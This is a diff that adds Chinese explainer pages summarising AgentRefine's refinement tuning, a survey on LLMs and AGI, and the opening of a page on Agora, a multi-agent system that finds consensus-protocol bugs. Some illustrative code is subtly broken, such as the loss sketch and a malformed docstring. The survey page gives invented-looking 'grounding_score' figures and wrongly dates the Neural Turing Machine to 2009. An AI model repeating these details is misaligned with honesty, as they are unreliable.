+| **Held-in**（训练环境内） | 测试环境与训练数据来自同一环境 | 表现满意 |
+| **Held-out**（训练环境外） | 测试环境是完全没见过的新环境 | **表现很差** |
+
+以 Agent-FLAN 为例：它在 AlfWorld 环境训练后，在 AlfWorld 测试集（held-in）上成功率为 67.2%，但在其他新环境（held-out）如 SciWorld 上的成功率只有 1.1%。
+
+**问题根源**：
+- 模型**过拟合**了少数几个手工设计的智能体环境
+- 模型只记住了"观察-动作"的对应关系，而不是学会如何应对新情况
+- 遇到错误时，模型会反复犯同一个错误，无法从反馈中学习
+
+## 三、核心概念：修正微调（Refinement Tuning）
+
+### 3.1 核心思想
+
+AgentRefine 提出了一种名为**修正微调**（Refinement Tuning）的新方法。其核心思想是：
+
+> **让模型学会通过观察环境反馈来修正自己的错误行为。**
+
+用一个类比：传统微调教模型"怎么走是对的"，修正微调教模型"走错了怎么回头、怎么调整方向"。
+
+### 3.2 数据构造流程
+
+AgentRefine 的数据生成包含三个步骤：
+
+```
+Step 1: 生成场景脚本 (Script Generation)
+        ↓
+Step 2: 生成交互轨迹 (Trajectory Generation)
+        ↓
+Step 3: 验证与过滤 (Verification)
+```
+
+#### 第一步：生成多样化的场景
+
+研究团队使用了丰富的"人设数据"（persona data），涵盖各种职业角色和个人兴趣，让生成的环境多样化。每个场景脚本包含：
+
+- **环境初始状态**：场景里有什么、在哪里
+- **目标**：玩家需要完成什么
+- **可用动作**：玩家可以做什么
+- **完成条件**：如何判断任务完成
+
+例如，一个场景可能是："一个刚加入 IT 部门的新人需要学习 UNIX 系统管理"。
+
+#### 第二步：生成包含错误的交互轨迹
+
+强 LLM（GPT-4o）被用来模拟多轮交互。每一轮分为两个角色：
+
+- **DM（场景管理员）**：提供观察结果、判断动作是否有错
+- **Player（玩家）**：思考并采取行动
+
+关键设计：生成的轨迹中**必须包含至少两次错误和修正的过程**。如果生成的轨迹太顺利（错误少于两次），就会被丢弃重做。
+
+#### 第三步：验证与过滤
+
+验证器检查：
+- 动作格式是否正确
+- 任务是否最终完成
+- 错误-修正的轮次是否充足
+
+## 四、代码示例
+
+### 示例 1：修正微调的数据格式
+
+修正微调将每条交互轨迹转换为以下用户-助手对话格式：
+
+```python
+# 修正微调数据示例 - 一条完整的"犯错-修正"轨迹
+refinement_data = [
+    # 第一轮：玩家犯错
+    {
+        "user": "Observation: You are in a room. There is a table with a key on it. Goal: Take the key and open the door.",
+        "assistant": "Thought: I need to first pick up the key from the table.\nAction: take key from table"
+    },
+    # 第二轮：DM 指出错误，玩家修正
+    {
+        "user": "Observation: Error: You cannot take the key because the door is locked and the key is inside.\nParameter error: true",
+        "assistant": "Thought: Ah, I see. The key is locked inside the room. I should first look for another way to access it, or check if there's a different key.\nAction: examine table"
+    },
+    # 第三轮：玩家继续修正，走向正确方向
+    {
+        "user": "Observation: You examine the table. Under the table, you find a hidden compartment containing a small note.",
+        "assistant": "Thought: There's a hidden compartment under the table. Let me read the note for clues.\nAction: read note"
+    }
+]
+```
+
+这里的关键是：**第二个助手的回复（Thought + Action）是基于 DM 指出的错误进行修正的**。模型需要学会"根据反馈调整行为"这个模式，而不是记住特定的动作序列。
+
+### 示例 2：修正微调的 Loss 计算
+
+传统微调对所有 token 都计算 loss，但修正微调**只修正确正确的步骤计算 loss**，跳过错误的步骤：
+
+```python
+import torch
+import torch.nn.functional as F
+
+def refinement_tuning_loss(model, trajectory, is_correct_fn):
+    """
+    修正微调的 Loss 计算方式。
+    
+    参数:
+        model: 被训练的 LLM 模型
+        trajectory: 完整交互轨迹 [turn_0, turn_1, ..., turn_N]
+        is_correct_fn: 判断每一步是否正确 (返回 1 表示正确，0 表示错误)
+    
+    核心思想:
+        只在正确的步骤上计算 loss，跳过错误的步骤。
+        这样模型不会从错误的数据中学习，而是学习"修正后的正确行为"。
+    """
+    total_loss = 0.0
+    correct_count = 0
+    
+    for i, turn in enumerate(trajectory):
+        thought = turn["Thought"]
+        action = turn["Action"]
+        observation = turn.get("Observation", "")
+        
+        # 构建模型输入
+        # 历史上下文 + 当前步骤的思考 + 动作
+        context = build_context(trajectory[:i])
+        input_text = f"{context}\nThought: {thought}\nAction: {action}"
+        target_text = f"Thought: {thought}\nAction: {action}"
+        
+        # 判断当前步骤是否正确
+        is_correct = is_correct_fn(turn)  # 1 if correct, 0 if error
+        
+        # 编码输入和目标
+        inputs = tokenizer(input_text, return_tensors="pt")
+        targets = tokenizer(target_text, return_tensors="pt")
+        
+        # 只有在正确步骤上才计算 loss
+        if is_correct:
+            outputs = model(**inputs)
+            logits = outputs.logits
+            
+            # 提取 target 部分的 log probability
+            loss = F.cross_entropy(
+                logits[:, :-1, :],  # 去掉最后一个 token
+                targets.input_ids[:, 1:],  # 去掉第一个 token
+                ignore_index=tokenizer.pad_token_id
+            )
+            total_loss += loss
+            correct_count += 1
+        else:
+            # 错误步骤不计算 loss，模型不需要学习错误模式
+            # 但模型会"看到"这个错误步骤作为上下文
+            pass
+    
+    # 平均所有正确步骤的 loss
+    avg_loss = total_loss / max(correct_count, 1)
+    return avg_loss
+
+
+# 使用示例
+# 假设我们有一条包含错误和修正的轨迹
+trajectory = [
+    {"Thought": "I should go to the kitchen.",
+     "Action": "go to kitchen",
+     "Observation": "You enter the kitchen.", "Correct": True},
+    {"Thought": "I should open the cabinet.",
+     "Action": "open cabinet",
+     "Observation": "Error: The cabinet is locked.", "Correct": False},
+    {"Thought": "The cabinet is locked. I need to find a key first.",
+     "Action": "search counter",
+     "Observation": "You find a key on the counter.", "Correct": True},
+    {"Thought": "Now I can use the key to open the cabinet.",
+     "Action": "use key on cabinet",
+     "Observation": "The cabinet opens. Inside is a recipe.", "Correct": True},
+]
+
+# 构建判断函数
+def is_correct(turn):
+    return 1 if turn["Correct"] else 0
+
+# 计算 loss（只有正确步骤会贡献 loss）
+loss = refinement_tuning_loss(model, trajectory, is_correct)
+loss.backward()
+optimizer.step()
+
+print(f"总步骤数: {len(trajectory)}, 正确步骤数: {sum(1 for t in trajectory if t['Correct'])}")
+# 输出: 总步骤数: 4, 正确步骤数: 3
+```
+
+这个 loss 设计的精妙之处在于：
+- **模型不会从错误中学习**（错误步骤的 loss 被 mask 掉）
+- **但模型会"看到"错误作为上下文**，从而学会"当上下文显示我之前犯了错时，我应该这样修正"
+- 这是一种**间接学习**：模型不是记住"犯错→X"，而是学会"当我看到错误反馈时→修正为Y"
+
+### 示例 3：推理阶段的对比
+
+```python
+# 传统微调的模型在遇到新环境时的表现
+def traditional_model_react(observation, history):
+    """传统模型：基于记忆做出反应"""
+    thought = model.generate_thought(observation, history)
+    action = model.generate_action(observation, history, thought)
+    # 问题：如果之前没见过这个环境，模型可能重复犯错
+    # 例如：DM 指出错误后，下一轮仍然犯同样的错误
+    return thought, action
+
+
+# AgentRefine 训练后的模型在遇到新环境时的表现
+def agentrefine_model_react(observation, history):
+    """AgentRefine 模型：学会从错误中修正"""
+    thought = model.generate_thought(observation, history)
+    action = model.generate_action(observation, history, thought)
+    
+    # 关键区别：模型能识别之前的错误并修正
+    # 例如：当观察到 "Error: Invalid command" 时，
+    # 模型不会重复同样的动作，而是尝试不同的格式
+    return thought, action
+
+
+# 对比：同一个错误场景下的不同反应
+scenario = {
+    "observation": "Error: Action 'open cabinet' failed. The cabinet is locked.",
+    "history": [
+        {"thought": "I'll open the cabinet.", "action": "open cabinet"},
+    ]
+}
+
+# 传统模型（可能）：
+# Thought: The cabinet is locked. I need a key.
+# Action: open cabinet   # 仍然尝试 open cabinet，没有真正改变策略！
+
+# AgentRefine 模型（更可能）：
+# Thought: The cabinet is locked, so I need to find a key first.
+# Action: search room    # 学会了调整策略，去寻找钥匙
+```
+
+## 五、实验结果
+
+### 5.1 在五个任务上的表现
+
+研究团队在五个智能体评估任务上进行了测试：
+
+| 方法 | AlfWorld | BabyAI | SciWorld | PDDL | Jericho |
+|------|----------|--------|----------|------|---------|
+| | 成功率 | 进度 | 成功率 | 进度 | 成功率 | 进度 | 成功率 | 进度 | 成功率 | 进度 |
+| GPT-4o | 66.4 | 79.9 | 48.2 | 64.1 | 40.0 | 76.9 | 61.7 | 69.8 | 10.0 | 34.0 |
+| Agent-FLAN | **67.2** | **79.7** | 25.0 | 35.3 | 1.1 | 10.9 | 8.3 | 25.5 | 0.0 | 10.1 |
+| **AgentRefine** | 44.8 | 63.8 | **37.5** | **50.4** | **14.4** | **42.6** | **16.6** | **37.8** | **10.0** | **32.3** |
+
+**关键发现**：
+- 在 held-out 任务（BabyAI、SciWorld、PDDL、Jericho）上，AgentRefine 显著超越 Agent-FLAN
+- 在 SciWorld 上，成功率从 1.1% 提升到 37.5%（提升超过 34 个百分点）
+- 在 Jericho 上，成功率从 0% 提升到 10%
+
+### 5.2 消融实验
+
+| 模型变体 | SciWorld 成功率下降 |
+|----------|-------------------|
+| 完整 AgentRefine | - |
+| 去掉修正数据（w/o refinement） | 大幅降低 |
+| 去掉验证器（w/o verification） | 大幅降低 |
+| 只用一半训练数据 | 大幅降低 |
+
+这说明修正数据、验证器、数据多样性都是不可或缺的组件。
+
+## 六、关键启示
+
+### 6.1 泛化与自我修正正相关
+
+研究最重要的发现是：
+
+> **智能体的泛化能力与其自我修正能力密切相关。**
+
+不是训练数据越多越好，而是训练数据中"犯错-修正"的比例和质量决定了模型的泛化能力。
+
+### 6.2 不要只记忆，要学"怎么学"
+
+传统微调让模型记住"在 A 环境下做 B 动作"，但换到 C 环境就失效了。修正微调让模型学会"当我看到结果与预期不符时，我应该检查什么、调整什么"——这是一个通用能力。
+
+### 6.3 对环境扰动的鲁棒性
+
+修正微调的模型在面对环境描述的细微变化时（如将 "clean obj with recept" 改为 "clean obj using recept"），表现比传统微调更稳定，标准差更小。
+
+## 七、总结
+
+AgentRefine 的核心贡献可以浓缩为一句话：
+
+> **与其让模型记住一千道题的答案，不如教它从错误中学习的方法。**
+
+方法简洁但有效：
+1. 生成包含"错误-修正"过程的训练数据
+2. 训练时只在正确步骤上计算 loss
+3. 模型学会通过观察反馈来修正自己的行为
+
+这种方法在多个不同任务上展现了显著的泛化优势，甚至在某些任务上接近了 GPT-4o 的水准。
+
+## 参考资料
+
+- 论文: [AgentRefine: Enhancing Agent Generalization through Refinement Tuning](https://arxiv.org/abs/2501.01702)
+- 项目页面: https://agentrefine.github.io/
+- 发表: ICLR 2025
+- 作者: Dayuan Fu, Keqing He, Yejie Wang 等（北京邮电大学、美团）
diff --git a/src/content/docs/papers/agi-survey.md b/src/content/docs/papers/agi-survey.md
new file mode 100644
index 000000000..8f51b4013
--- /dev/null
+++ b/src/content/docs/papers/agi-survey.md
@@ -0,0 +1,347 @@
+---
+title: Large language models for artificial general intelligence (AGI): A survey
+来源: 'https://arxiv.org/abs/2501.03151'
+日期: 2026-06-13
+分类: 其他
+子分类: AGI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇论文是一篇**综述**——它回答一个根本问题：当前的大语言模型（LLM）缺了哪些"地基"，才能变成真正通用的人工智能（AGI）？
+
+日常类比：现在的 LLM 像一个读了全世界图书馆的书、能背下每句话的学生，但当你让他去厨房倒杯水——他不知道"杯"是什么触感，不知道"水"会流，不知道"倒"需要手腕发力。论文说，这就是因为他缺少四个地基：**具身（embodiment）、符号接地（symbol grounding）、因果（causality）、记忆（memory）**。把这四个建好，LLM 才可能从"嘴强王者"变成"真正的智能体"。
+
+论文不提出某个新算法，而是**系统性梳理**这四个概念的定义、在生物学中的角色、在 AI 中的已有实现方法，以及它们如何相互协作形成一个完整的 AGI 认知架构。
+
+## 为什么重要
+
+不理解这篇论文，下面这些趋势都找不到共同主线：
+
+- 为什么 2024-2025 年 VLA（视觉-语言-动作）模型突然火了？——这是具身化的实践
+- 为什么 RAG（检索增强生成）被广泛采用？——这是"记忆"原则的工程化
+- 为什么"符号 grounding"这个 1990 年代的老话题又回潮了？——因为纯数据驱动的 LLM 碰到了语义天花板
+- 为什么因果推理成为 LLM 研究的新热点？——因为相关性 ≠ 因果性，LLM 在 OOD 场景下频繁翻车
+
+## 核心概念
+
+### 一、具身化（Embodiment）
+
+**概念**：智能不能脱离身体和环境独立存在。就像你没法通过读《游泳教程》学会游泳——你必须下水，感受水的浮力，调整身体姿态。人的大脑、身体、环境是一个统一系统，三者共同塑造智能。
+
+**为什么 LLM 缺这个**：LLM 没有身体，没有传感器，没有物理动作能力。它看到十亿句"杯子是硬的"，但它从不知道"硬"的真实触感。这种缺失导致 LLM 的物理直觉（intuitive physics）几乎为零。
+
+**已有实现路径**：
+
+1. **VLA 模型**（如 RT-1 / RT-2）：把语言模型输出直接映射为机器人动作
+2. **模拟环境交互**：在 Minecraft / SIMPA 等虚拟世界中让 agent 通过语言指令行动并接收反馈
+3. **多模态融合**：视觉 + 语言联合训练，让模型学会将视觉感知与语言表征对齐
+
+```python
+# 类比：具身化在 VLA 中的体现
+# 当前 LLM 输出文本，VLA 把文本映射到关节空间
+import torch
+
+class VLA_ConditionalPolicy:
+    """简化的 VLA 策略网络：语言条件 → 机器人动作"""
+
+    def __init__(self, lang_dim=4096, action_dim=7):
+        # lang_encoder: 把"拿起桌上的红色杯子"变成向量
+        self.lang_encoder = TransformerEncoder(lang_dim)
+        # vision_encoder: 把场景图像变成向量
+        self.vision_encoder = CNNVisionEncoder(lang_dim)
+        # 动作解码器
+        self.action_decoder = MLP(lang_dim * 2, action_dim)
+
+    def forward(self, instruction, observation):
+        # 具身化的核心：语言 + 视觉感知联合决定动作
+        lang_vec = self.lang_encoder(instruction)
+        vis_vec = self.vision_encoder(observation)
+        combined = torch.cat([lang_vec, vis_vec], dim=-1)
+        action = self.action_decoder(combined)  # [7] = (x, y, z, roll, pitch, yaw, gripper)
+        return action
+
+# 没有具身化的 LLM 对比：同样的指令只生成文本描述
+# "他伸手拿起杯子" —— 没有动作向量，没有物理反馈
+```
+
+### 二、符号接地（Symbol Grounding）
+
+**概念**：词"苹果"对你意味着什么？如果你只知道"苹果是一种水果，红色的，甜的"——这些定义本身也是用词组成的。你从未真正"接地"过"苹果"这个符号。人类的符号接地来自**直接感知经验**：你尝过苹果的味道，看过它的形状，摸过它的表皮。
+
+**核心问题**：Harnad 在 1990 年提出的"符号接地问题"——如果 AI 系统中的所有符号都只通过其他符号定义，那整个系统就像一本字典：每个词的解释都引用另一个词，永远到不了真实世界。
+
+**LLM 的本质困境**：LLM 本质上就是一本超级字典。它的"知识"全部来自词与词之间的统计共现，没有物理世界的直接接地。
+
+**已有实现路径**：
+
+1. **知识图谱接地**：把 LLM 的输出映射到结构化知识图谱（如 Wikidata），让符号指向真实实体
+2. **本体驱动提示**：用本体（ontology）约束 prompt，让模型输出对齐到预定义的概念框架
+3. **端到端 embedding 接地**：在训练中将文本 embedding 与图像/语音/力觉等多模态向量联合优化
+4. **主动探索交互**：让 agent 在环境中主动探索，建立"动作-感知"闭环
+
+```python
+# 符号接地的两种实现思路对比
+
+# 方法 1：知识图谱接地 —— 让符号指向结构化实体
+class KG_GroundedLLM:
+    """通过知识图谱给 LLM 的文本输出"接地"到真实实体"""
+
+    def __init__(self, kg_client):
+        self.kg = kg_client  # 如 Wikidata / DBpedia
+
+    def ground(self, text):
+        # 从文本中提取实体，并在 KG 中找到对应节点
+        entities = self.extract_entities(text)
+        grounded = {}
+        for ent in entities:
+            # 接地结果：符号 → 真实世界的结构化描述
+            grounded[ent] = self.kg.lookup(ent)
+            # 例: "苹果" → {
+            #   "wikidata_id": "Q893",
+            #   "instance_of": "fruit",
+            #   "color": ["red", "green"],
+            #   "taste": "sweet",
+            #   "edible": true,
+            #   "nutritional_info": {...}
+            # }
+        return grounded
+
+    def extract_entities(self, text):
+        # 简化的实体抽取，实际可用 spaCy / Stanford NER
+        return text.split()
+
+
+# 方法 2：端到端多模态接地 —— 文本 embedding 与视觉 embedding 对齐
+class Multimodal_GroundedLLM:
+    """用 CLIP 式的对比学习让文本和视觉共享同一 embedding 空间"""
+
+    def __init__(self, text_encoder, image_encoder):
+        self.text_enc = text_encoder
+        self.img_enc = image_encoder
+
+    def ground(self, text, image):
+        # 文本和图像映射到同一空间，相似度 = 接地程度
+        text_emb = self.text_enc(text)    # [512]
+        img_emb = self.img_enc(image)     # [512]
+        similarity = torch.cosine_similarity(text_emb, img_emb)
+        # similarity 高 → 文本描述与图像内容"接地"一致
+        return {
+            "text_embedding": text_emb,
+            "image_embedding": img_emb,
+            "grounding_score": similarity.item()
+        }
+
+# 当前 LLM 的 grounding_score ≈ 0.7-0.85（基于多模态 benchmark）
+# 人类对同一词语的 grounding_score ≈ 0.99（因为直接感知经验）
+```
+
+### 三、因果推理（Causality）
+
+**概念**：相关性是"两个东西一起出现"，因果性是"一个东西导致了另一个东西"。LLM 本质上是统计相关性机器——它见过"打雷→下雨"被一起描述了一百万次，但它不知道"打雷导致下雨"。当遇到"打雷→不下雨"的情况，LLM 可能依然给出与训练数据一致的错误推断。
+
+**Pearl 的因果阶梯**：
+
+1. **关联（Association）**：看到 X，预测 Y（LLM 目前最高只到这一层）
+2. **干预（Intervention）**：如果我做 A，会发生什么？（"如果我往墙上扔石头，墙会碎吗？"）
+3. **反事实（Counterfactual）**：如果当时我做了 A，结果会不会不同？（"如果我刚才没踩香蕉皮，我会摔跤吗？"）
+
+**已有实现路径**：
+
+1. **深度学习方法**：在损失函数中加入因果约束（如 do-calculus）
+2. **神经符号方法**：把 LLM 的输出接入符号推理引擎（如逻辑推理器）做因果校验
+3. **物理 informed world model**：用物理规律作为归纳偏置，约束模型的推理空间
+
+```python
+# 因果推理示例：LLM 的局限 vs 因果模型的改进
+
+# 场景：观测数据 "冰淇淋销量 ↑ → 溺水事故 ↑"
+# LLM 基于统计相关性：可能推断"吃冰淇淋导致溺水"
+# 因果模型识别：两者都由第三个变量"夏季高温"引起（混杂因子 confounder）
+
+import numpy as np
+
+class CausalReasoner:
+    """简化的因果推理框架"""
+
+    def __init__(self):
+        # 因果图：ice_cream ← summer_heat → drownings
+        # 如果不控制混杂因子 heat，相关性 ≠ 因果性
+        pass
+
+    def observational_inference(self):
+        """LLM 式的相关性推理——只看数据分布"""
+        # P(drowning | ice_cream_high) ≈ 高（因为数据中两者共现）
+        return {
+            "method": "observational",
+            "prediction": "high_drowning_risk",
+            "flaw": "confounded_by_summer_heat"
+        }
+
+    def interventional_inference(self, do_action="reduce_ice_cream"):
+        """do-calculus 干预推理——主动改变变量"""
+        # P(drowning | do(ice_cream=low)) = P(drowning | heat=high) ≈ 仍高
+        # 因为真正导致溺水的是 heat，不是 ice_cream
+        return {
+            "method": "interventional",
+            "prediction": "drowning_risk_unchanged",
+            "explanation": "ice_cream is a spurious correlation,\n"
+                          "not a causal factor. Reducing ice_cream\n"
+                          "does not change drowning probability."
+        }
+
+    def counterfactual_inference(self, observed="fell_on_banana_skin"):
+        """反事实推理——"如果当时没做 X 会怎样""""
+        return {
+            "method": "counterfactual",
+            "question": "If he hadn't stepped on the banana peel, would he have fallen?",
+            "answer": "No — the banana peel was the cause.\n"
+                      "Counterfactual world: clean floor → no fall."
+        }
+
+# 对比输出：
+# LLM（相关性）: "吃冰淇淋的人更容易溺水，应该禁止冰淇淋销售"
+# 因果推理: "冰淇淋和溺水的关联是夏季高温导致的虚假相关"
+```
+
+### 四、记忆（Memory）
+
+**概念**：人的记忆分三层（和认知科学一致）：
+
+1. **感觉记忆（Sensory）**：持续 < 1 秒。你眨眼时视网膜上残留的画面——LLM 的"attention window"就是这种机制的数字化
+2. **工作记忆（Working）**：持续秒到分钟。你心算 17 × 23 时暂存在脑子里的数字
+3. **长期记忆（Long-term）**：持续终生。你的童年、专业技能、人生经历
+
+LLM 的记忆问题：它的"长期记忆"就是训练参数——**固化且不可变**。你不能在对话中"学会新东西"然后永远记住它。RAG 是外部记忆的一种折中方案，但它不等于真正的记忆。
+
+**已有实现路径**：
+
+1. **参数化记忆**：通过持续预训练 / 微调让知识融入模型权重（但有灾难性遗忘问题）
+2. **注意力机制**：Transformer 的 self-attention 本身就是工作记忆的近似
+3. **显式记忆模块**：在模型架构中加入可读写的外部记忆存储（如 Neural Turing Machine）
+4. **RAG 外部记忆**：检索 + 生成，工程上最成熟但缺乏真正的"回忆"能力
+
+```python
+# LLM 记忆架构对比：从单一窗口到分层记忆
+
+class HierarchicalMemory:
+    """分层记忆架构：感觉记忆 + 工作记忆 + 长期记忆"""
+
+    def __init__(self, model, vector_db, episodic_buffer):
+        self.model = model
+        self.vector_db = vector_db      # 长期记忆：向量数据库（RAG 后端）
+        self.episodic_buffer = episodic_buffer  # 工作记忆：对话轮次缓冲区
+
+    def sensory_memory(self, raw_input):
+        """感觉记忆：raw input → token embedding（瞬时，≈ attention window）"""
+        return self.model.tokenizer.encode(raw_input)
+
+    def working_memory(self, conversation_history):
+        """工作记忆：维护当前对话的上下文"""
+        self.episodic_buffer.append(conversation_history[-1])
+        # 限制大小，超出则压缩摘要
+        if len(self.episodic_buffer) > 20:
+            self.episodic_buffer = self._summarize(self.episodic_buffer[:-5])
+        return self.episodic_buffer
+
+    def long_term_memory(self, query):
+        """长期记忆：语义检索 + 生成"""
+        # 1. 在向量库中检索最相关的知识片段
+        relevant_docs = self.vector_db.similarity_search(query, top_k=5)
+        # 2. 把检索结果注入 prompt 让模型生成
+        augmented_prompt = self._build_prompt(query, relevant_docs)
+        response = self.model.generate(augmented_prompt)
+        # 3. （可选）把新学到的知识写回长期记忆
+        self.vector_db.add(key=query, value=response)
+        return response
+
+    def learn(self, experience):
+        """真正的"学习"：把重要经验固化到长期记忆"""
+        # 简化：提取 key facts 存入向量库
+        facts = self._extract_facts(experience)
+        self.vector_db.add_batch(facts)
+        # 注意：参数化记忆需要 finetune，成本很高
+        # 所以工程上优先用 RAG 而非持续训练
+        return facts
+
+    def _summarize(self, history):
+        # 用模型自身做对话压缩
+        summary_prompt = f"Summarize the following conversation:\n{''.join(history)}"
+        return [self.model.generate(summary_prompt)]
+
+
+# RAG 的局限性：
+# RAG = 查字典，不是真正"记住"
+# 查字典快但浅，记忆慢但深
+# AGI 需要两者的有机组合
+```
+
+## 四大原则的协作关系
+
+论文的核心贡献之一是提出这四个原则**不是孤立的**，而是相互依存形成一个完整认知循环：
+
+```
+环境感知 → 具身化（通过身体感知世界）
+     ↓
+符号接地（把感知到的东西命名、分类、关联）
+     ↓
+因果推理（理解"为什么"和"如果...会怎样"）
+     ↓
+记忆（把经验存入，供未来调用）
+     ↓
+回到环境感知（用记忆指导下一次感知和行动）
+```
+
+**具身化是入口**——没有身体感知，符号就是无源之水。
+**符号接地是桥梁**——把感官信号变成可操作的抽象概念。
+**因果推理是引擎**——让系统不只是模式匹配，而是理解规律。
+**记忆是积累器**——让每一次经验都不白费，持续增长能力。
+
+## 踩过的坑
+
+1. **LLM 的"幻觉"本质是 grounding 缺失**：模型在统计模式上给出合理但不真实的回答——因为它不知道"真实"是什么触感
+2. **RAG 不是真正的记忆**：它是外部检索，模型本身没有"记住"任何东西；检索失败 = 知识丢失
+3. **因果推理在 LLM 中极难**：因为 LLM 的训练目标是 next-token prediction（相关性最大化），与因果推断的目标函数根本不同
+4. **具身化的数据瓶颈**：VLA 模型受限于真实的机器人交互数据，远少于文本数据——这是当前最大的工程障碍
+
+## 适用 vs 不适用场景
+
+这篇综述本身是理论性的，它指导的方向适用于：
+
+适用：
+- 开发真正的自主 agent（不是简单聊天机器人）
+- 构建机器人 + 语言的联合系统
+- 需要 OOD 泛化能力的场景
+- 医疗 / 法律等需要因果推理的高可靠领域
+
+不适用：
+- 纯文本生成任务（翻译、摘要、创作）——当前 LLM 已经够用
+- 快速原型 / MVP 开发——四大原则的工程化成本高
+- 资源极度受限的场景
+
+## 学到什么
+
+- LLM ≠ AGI：LLM 是通往 AGI 的路径之一，但不是终点
+- 四大原则（具身、接地、因果、记忆）是论文提炼的 AGI 地基，每一条都有丰富的已有工作可以跟进
+- 类比很重要：把生物学认知原理映射到 AI 架构时，类比是理解的第一步——但不要止步于类比，要看具体实现技术
+- 当前的工程实践（RAG、VLA、multi-modal）已经是四大原则的"初代实现"，但它们还很粗糙
+- 最深刻的洞察：**相关性可以模仿智能的表象，但只有因果性才能真正产生理解**
+
+## 历史小故事（可跳过）
+
+- 1990：Harnad 提出"符号接地问题"——那时连互联网都没普及
+- 2009：Neural Turing Machine 首次提出"可读写外部记忆"——想法超前了整整十年
+- 2017：Transformer 论文诞生——但最初没人想到它能做 LLM
+- 2020：GPT-3 展示零样本学习能力——全世界以为 LLM 就是 AGI
+- 2022-2023：幻觉、推理失败等问题暴露——学界开始冷静反思
+- 2024：RT-2 把 Vision-Language-Action 三模态融合——具身化的重要里程碑
+- 2025：这篇综述系统梳理了四大原则，把分散的研究方向统一到 AGI 框架下
+
+## 延伸阅读
+
+- [[cot]] — 思维链（Chain-of-Thought），是因果推理在 LLM 中的近似实现
+- [[rag-lewis-2020]] — RAG 原始论文，"记忆"原则的工程化先驱
+- [[deepseek-r1]] — DeepSeek-R1，用纯 RL 训练推理能力，与因果推理方向互补
+- [[self-rag-2023]] — Self-RAG，让模型自己判断检索结果是否可靠——接地的一种软方式
+- [[grounded-videollm-2024]] — Grounded VideoLLM，视觉 grounding 的实例
diff --git a/src/content/docs/papers/agora-autonomous-bug-detection-in-consensus-protocols-with-llm-agents-arxiv-2605.md b/src/content/docs/papers/agora-autonomous-bug-detection-in-consensus-protocols-with-llm-agents-arxiv-2605.md
new file mode 100644
index 000000000..afe83d867
--- /dev/null
+++ b/src/content/docs/papers/agora-autonomous-bug-detection-in-consensus-protocols-with-llm-agents-arxiv-2605.md
@@ -0,0 +1,308 @@
+---
+title: Agora — 用 LLM Agent 自主检测共识协议的 Bug
+来源: 'https://arxiv.org/abs/2605.29910'
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Agora 是一个**用多个 LLM Agent 自动发现分布式共识协议里深层逻辑 Bug 的系统**。
+
+日常类比：想象你是一家工厂的安全质检员。普通的代码审查工具像一个走马灯——只能看到"这个螺丝拧歪了"（内存泄漏、空指针）。但 Agora 派了三个质检员：一个总指挥（Orchestrator）、一个场景设计师（Strategy）、一个测试工程师（TestGen）。总指挥说："上次发现停机后再启动会导致数据不一致，这次试试两台同时停机呢？"场景设计师根据共识协议的特性设计出一个"三台节点互相干扰"的复杂场景。测试工程师写代码让这个场景跑起来——如果系统出了错，就找到了一个连资深工程师都可能忽略的深层逻辑 Bug。
+
+## 为什么重要
+
+共识协议是分布式系统的**心脏起搏器**——Raft 被 etcd、K8s 用；Paxos 变种被 Google Spanner 用；HotStuff 被区块链系统用。它们的目标是让一群机器对"当前状态是什么"达成一致。
+
+**核心矛盾**：共识协议的正确性取决于安全性（safety）和活性（liveness）。一旦实现中出现违反安全性的 Bug——比如两台机器同时宣称自己"赢了投票"——后果不是程序崩溃，而是**数据静默损坏**。在金融和区块链场景里，这意味着真金白银的损失。
+
+现有的 LLM 做代码分析时，只能找到实现级别的 Bug（越界访问、空指针）。但共识协议的真正危险在于**协议级别的逻辑 Bug**——多个执行阶段之间的状态依赖出了问题。Agora 是第一个把"共识协议的领域知识"和"多 Agent 协作"结合起来的系统。
+
+## 核心概念
+
+### 1. 假设驱动测试（Hypothesis-Driven Testing, HDT）
+
+传统测试回答："这个功能正常工作吗？"
+HDT 回答：**在什么条件下，这个功能会失败？**
+
+一个漏洞假设用四个部分组成：
+
+| 符号 | 含义 | 类比 |
+|------|------|------|
+| C | 前置条件 | 需要满足什么前提 |
+| A | 动作序列 | 做什么操作 |
+| E | 期望的 Bug 行为 | 希望观察到什么异常 |
+| O | 验证断言 | 用什么来确认 Bug 存在 |
+
+### 2. 两类 Bug：实现级 vs 协议级
+
+```
+实现级 Bug（浅层）：内存越界、整数溢出、空指针
+  → 程序崩溃，但不影响数据一致性
+
+协议级 Bug（深层）：安全属性被违反
+  → 两台机器对"谁赢了投票"有不同答案
+  → 数据静默损坏，系统"看似正常运行"
+```
+
+### 3. 五大协议级 Bug 模式
+
+1. **Recovery & Execution Divergence**：节点重启后执行路径和之前不同
+2. **Persistence & Monotonicity Violation**：持久化数据不单调
+3. **Dependency & Topology Flaw**：消息依赖关系出错
+4. **Message Binding & Signature Violation**：消息签名绑定不对
+5. **Resource & Operational Visibility Violation**：资源可见性不一致
+
+### 4. CFT vs BFT
+
+- **CFT**（Crash Fault-Tolerant）：节点只会"挂掉"，不会"作恶"。比如 Raft、EPaxos。
+- **BFT**（Byzantine Fault-Tolerant）：节点可能"作恶"（发送虚假信息）。比如 HotStuff、BullShark。
+- Agora 的亮点：**同一套框架同时支持两种类型**，因为它们对 Bug 的约束条件完全不同。在 CFT 里假设节点作恶是没有意义的，会浪费计算资源。
+
+## Agora 的架构
+
+Agora 由三个 Agent 组成，每个 Agent 有明确分工：
+
+```
+┌─────────────────────────────────────────────────┐
+│                  Agora 系统                      │
+│                                                  │
+│  ┌─────────────┐    ┌─────────────┐             │
+│  │ Orchestrator │───▶│  Strategy   │             │
+│  │ (总指挥)     │◀───│ (场景设计师) │             │
+│  └──────┬──────┘    └──────┬──────┘             │
+│         │                  │                     │
+│         ▼                  ▼                     │
+│  ┌──────────────────────────────────┐           │
+│  │        TestGen (测试工程师)       │           │
+│  │   写测试 → 执行 → 分析 → 反思     │           │
+│  └──────────────────────────────────┘           │
+│                                                  │
+│  知识库：Bug 模式 + 协议约束条件                   │
+└─────────────────────────────────────────────────┘
+```
+
+**总指挥（Orchestrator）**：管流程、管记忆。它做了两件事：
+- 回顾之前发现的 Bug，指导下一个搜索方向
+- 维护全局状态，防止重复搜索同一类场景
+
+**场景设计师（Strategy）**：懂协议特性。它分析了：
+- 当前协议的约束条件（CFT 还是 BFT）
+- 已有的 Bug 模式
